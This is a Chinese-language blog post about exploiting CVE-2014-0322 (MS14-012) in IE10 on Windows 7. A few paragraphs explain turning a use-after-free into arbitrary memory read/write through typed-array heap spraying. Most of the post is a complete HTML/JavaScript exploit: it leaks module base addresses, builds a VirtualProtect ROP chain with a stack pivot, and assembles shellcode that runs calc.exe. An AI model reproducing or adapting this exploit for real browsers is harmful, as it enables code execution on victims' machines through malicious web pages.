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CVE-2014-0322 (MS14-012) exploit
最近在研究js中IntArray、Int32Array等相关Array Object进行Heap Spraying的方法，关于Array Object Heap Spraying的方法上篇文章已经说过，这里不再赘述。今天，主要以cve-2014-0322这个漏洞为例，来看一下Array Object Heap Spraying具体如何使用，以及怎样将UAF类型的转换为任意地址读写，同时，来看一下如何保证IE漏洞利用时不崩溃。
UAF转换为任意地址读写，无非是程序流程上的控制，主要是漏洞触发点函数以及后续的相关处理流程，只要有对释放后对象内存进行写操作的，大部分我们都可以进行后续的利用，将其与Array相结合，从而实现任意地址读写。
转换为任意地址的读写的好处在于更便于流程的控制，以及后续shellcode的触发。本样例中shellcode的触发借鉴了原始样本中shellcode触发的思想，都是修改pvftable，然后调用相应的Array函数，从而触发shellcode。
对于如何保证IE漏洞利用后不崩溃，目前能想到的就是借用ROP构造的临时栈进行跳转，实现shellcode的利用，利用完成后，恢复到esp到原始栈空间，并且还原修改过的内存，最后jmp到正确的Array函数中。这种方法有其局限性，但也有它的好处。局限性在于对于不同的函数而言，可能对寄存器还有所要求，并且其esp恢复时，ebp减去的值并不固定，需要根据情况硬编码。其好处在于函数的选择权在我们手里，只有有一个函数能够实现这种方法，它就具有通用性，因为对于同一函数而言，其内部的调用过程都是一定的，这样我们恢复的时候就较为简单。其代码如下所示，win7+IE10。
<html><head id="headId"><title>main page</title><script>function dword2data(dword) { var d = Number(dword).toString(16); while (d.length < 8) d = ‘0‘ + d; return unescape(‘%u‘ + d.substr(4, 8) + ‘%u‘ + d.substr(0, 4));}var g_arr = [];var arrLen = 0x50;function fun(){ var a=0; // to alloc the memory for(a=0;a<arrLen;++a) { g_arr[a]=document.createElement(‘div‘) }; var b = dword2data(0x41414141); var c = 0x0a0bf000; while(b.length<0x360) { if(b.length==(0x94/2)) b+=dword2data(c+0x20-0xc); else if(b.length==(0x98/2)) b+=dword2data(c+0x20-0x8); else if(b.length==(0xac/2)) b+=dword2data(0x0a0b001b-0x10); else if(b.length==(0x15c/2)) b+=dword2data(0x42424242); else b += dword2data(0x41414141); } var d=b.substring(0,(0x340-2)/2); try{ this.outerHTML=this.outerHTML } catch(e){} CollectGarbage(); //to reuse the freed memory for(a=0;a<arrLen;++a) { g_arr[a].title=d.substring(0,d.length); }}function puIHa3() { var a = document.getElementsByTagName("script"); var b = a[0]; b.onpropertychange = fun ; var c = document.createElement(‘SELECT‘); c = b.appendChild(c);//}var x = new Array();var xx = new Array();function LargBlock() { for (var k=0;k<0x10;k++) { if(k==0) xx[k] = new ArrayBuffer(); else xx[k] = new ArrayBuffer(0x2000); }}function spray() { for (var k=0;k<0x800;k++) { x[k] = new Array(0x3bf8); for (var i = 0; i< 0x55;i++) { x[k][i] = new Int32Array(xx[0]); } for(;i<0x3bf8;i++) { x[k][i] = i; } }}function findArray(size) { for (var k=0;k<0x800;k++) { for (var i = 0; i< 0x55;i++) { if(x[k][i].length != 0) { return [k,i]; } } } return -1;}function dll_baseaddress(address,index) { var pp = address & 0xffff0000; var count=0; while(1) { if(x[index[0]][index[1]][pp/0x4] == 0x00905a4d) { return pp; } else pp=pp-0x10000; count++; if(count==50) return -1; }}function module_baseaddress(other_baseaddress,index,name) { var e_lfanew = x[index[0]][index[1]][(other_baseaddress+0x3c)/4]; var image_file_header = other_baseaddress+e_lfanew; var image_data_directorys = image_file_header+0x78; var import_table_address = other_baseaddress+x[index[0]][index[1]][image_data_directorys/4+2]; var import_table_size = x[index[0]][index[1]][image_data_directorys/4+3]; for(var k=0;k<import_table_size/0x14;k++) { var import_dll_address = import_table_address + k*0x14; var dll_name_address = other_baseaddress+x[index[0]][index[1]][import_dll_address/4+3]; if(x[index[0]][index[1]][dll_name_address/4]==name[0] && x[index[0]][index[1]][dll_name_address/4+1]==name[1]) { var first_thunk = other_baseaddress+x[index[0]][index[1]][import_dll_address/4+4]; var function1 = x[index[0]][index[1]][first_thunk/4]; return dll_baseaddress(function1,index); } } return -1;}function GetEIP(index) { }function judge(test,index) { if(x[index[0]][index[1]][test/4]==x[index[0]][index[1]][test/4+8]) { return 1; } else { return -1; }}LargBlock();spray();puIHa3();for(var k=0;k<0x800;k++){ x[k][15358] = 0x20000000;}var info = findArray(0x20000000);x[info[0]][info[1]][0x0a0bf018/4] = 0x20000000;var pvftable_int32array = x[info[0]][info[1]][0x0a0bf000/4];var jscript9_base_address=dll_baseaddress(pvftable_int32array,info);var kernel32_base_address=module_baseaddress(jscript9_base_address,info,[0x4e52454b,0x32334c45]);var msvcrt_base_address = module_baseaddress(jscript9_base_address,info,[0x6376736d,0x642e7472]);var ntdll_base_address = module_baseaddress(kernel32_base_address,info,[0x6c64746e,0x6c642e6c]);var xx_2 = x[info[0]][info[1]][0x0a0bf020/4];//for testif(judge(xx_2,info)) { //x[info[0]][info[1]][0x0a0bf030/4] = 0; //x[info[0]][info[1]][0x0a0bf048/4] = 0x100; //x[info[0]][info[1]+1][0] = 0; //alert(‘1‘); var xx_3 = x[info[0]][info[1]][xx_2/4+0xc]; var xx_4 = x[info[0]][info[1]][xx_2/4+0x2c]; //for(var k=info[1]+1;k<0x55;k++) //{ // delete x[info[0]][k]; //} //CollectGarbage(); //for(var k=info[1]+1;k<0x55;k++) //{ // x[info[0]][k] = new Int32Array(xx[1]); //} delete x[info[0]][info[1]+1]; CollectGarbage(); x[info[0]][info[1]+1] = new Int32Array(xx[4]); delete x[info[0]][info[1]+2]; CollectGarbage(); x[info[0]][info[1]+2] = new Int32Array(xx[5]); //for(var k=0;k<0x150/4;k++) //{ //x[info[0]][info[1]+1][k] = jscript9_base_address+0x0003845e; //} x[info[0]][info[1]+1][0x140/4] = jscript9_base_address+0x0003845e; //xchg eax,esp#retn x[info[0]][info[1]+1][0] = kernel32_base_address+0x000020d8; //VirtualProtect x[info[0]][info[1]+1][1] = x[info[0]][info[1]][0x0a0bf07c/4]; x[info[0]][info[1]+1][2] = x[info[0]][info[1]][0x0a0bf07c/4]&0xffff000; //Address //alert(x[info[0]][info[1]+1][1].toString(16)); x[info[0]][info[1]+1][3] = 0x1000; //size x[info[0]][info[1]+1][4] = 0x40; //newprotect:page_execute_readwrite x[info[0]][info[1]+1][5] = 0x0a0bf038; //oldprotect x[info[0]][info[1]+1][6] = x[info[0]][info[1]][0x0a0bf04c/4]+0x40; x[info[0]][info[1]+1][7] = 5; //ret address // //xB8xADx23x86x7C //[info[0]][info[1]][0x0a0bf04c/4]+0x40; //calc.exe x[info[0]][info[1]+1][16] = 0x636c6163; x[info[0]][info[1]+1][17] = 0x6578652e; var HeapDataAddress = x[info[0]][info[1]][0x0a0bf04c/4]; var HeapEntry1 = x[info[0]][info[1]][HeapDataAddress/4-2]; var HeapEntry2 = x[info[0]][info[1]][HeapDataAddress/4-1]; x[info[0]][info[1]+1][32] = HeapEntry1; x[info[0]][info[1]+1][33] = HeapEntry2; //shellcode //B8 78563412 mov eax,0x12345678 //FFD0 call eax //8BE5 mov esp,ebp //83EC 78 sub esp,0x78 //B8 78563412 mov eax,0x12345678 //BB 30F00B0A mov ebx,0xA0BF030 //B9 30F00B0A mov ecx,0xA0BF030 //C705 30F00B0A 78563412 mov dword ptr ds:[0xA0BF030],0x12345678 //C705 18F00B0A 00000000 mov dword ptr ds:[0xA0BF018],0x0 //C705 78563412 78563412 mov dword ptr ds:[0x12345678],0x12345678 //C705 78563412 78563412 mov dword ptr ds:[0x12345678],0x12345678 //FFE0 jmp eax x[info[0]][info[1]+2][0] = ((kernel32_base_address+0x8edae)<<8) + 0xB8; x[info[0]][info[1]+2][1] = (kernel32_base_address>>24)+0x8bD0ff00; x[info[0]][info[1]+2][2] = 0x78EC83e5; x[info[0]][info[1]+2][3] = 0xb8 + (x[info[0]][info[1]][(pvftable_int32array+0x140)/4] << 8); x[info[0]][info[1]+2][4] = (x[info[0]][info[1]][(pvftable_int32array+0x140)/4] >> 24) + 0xf030bb00; x[info[0]][info[1]+2][5] = 0x30b90a0b; x[info[0]][info[1]+2][6] = 0xc70a0bf0; x[info[0]][info[1]+2][7] = 0x0bf03005; x[info[0]][info[1]+2][8] = 0x0a + (pvftable_int32array << 8); x[info[0]][info[1]+2][9] = (pvftable_int32array >> 24) + 0x1805c700; x[info[0]][info[1]+2][10] = 0x0a0bf0; x[info[0]][info[1]+2][11] = 0xc7000000; x[info[0]][info[1]+2][12] = 0x05 + ((HeapDataAddress-0x8)<<8); x[info[0]][info[1]+2][13] =((HeapDataAddress-0x8)>>24) + (HeapEntry1 << 8); x[info[0]][info[1]+2][14] = (HeapEntry1>>24) + 0x05c700 + ((HeapDataAddress-0x4)<<24); x[info[0]][info[1]+2][15] = ((HeapDataAddress-0x4)>>8) + (HeapEntry2 << 24); x[info[0]][info[1]+2][16] = (HeapEntry2 >> 8) + 0xff000000; x[info[0]][info[1]+2][17] = 0xe0; //alert(‘1‘); x[info[0]][info[1]][0x0a0bf030/4] = x[info[0]][info[1]][0x0a0bf04c/4]; x[info[0]][info[1]+1][0] = 0; //alert(‘1‘); //delete x[info[0]][info[1]+1]; //delete x[info[0]][info[1]+2]; //CollectGarbage();}</script></head></html>
CVE-2014-0322 (MS14-012) exploit
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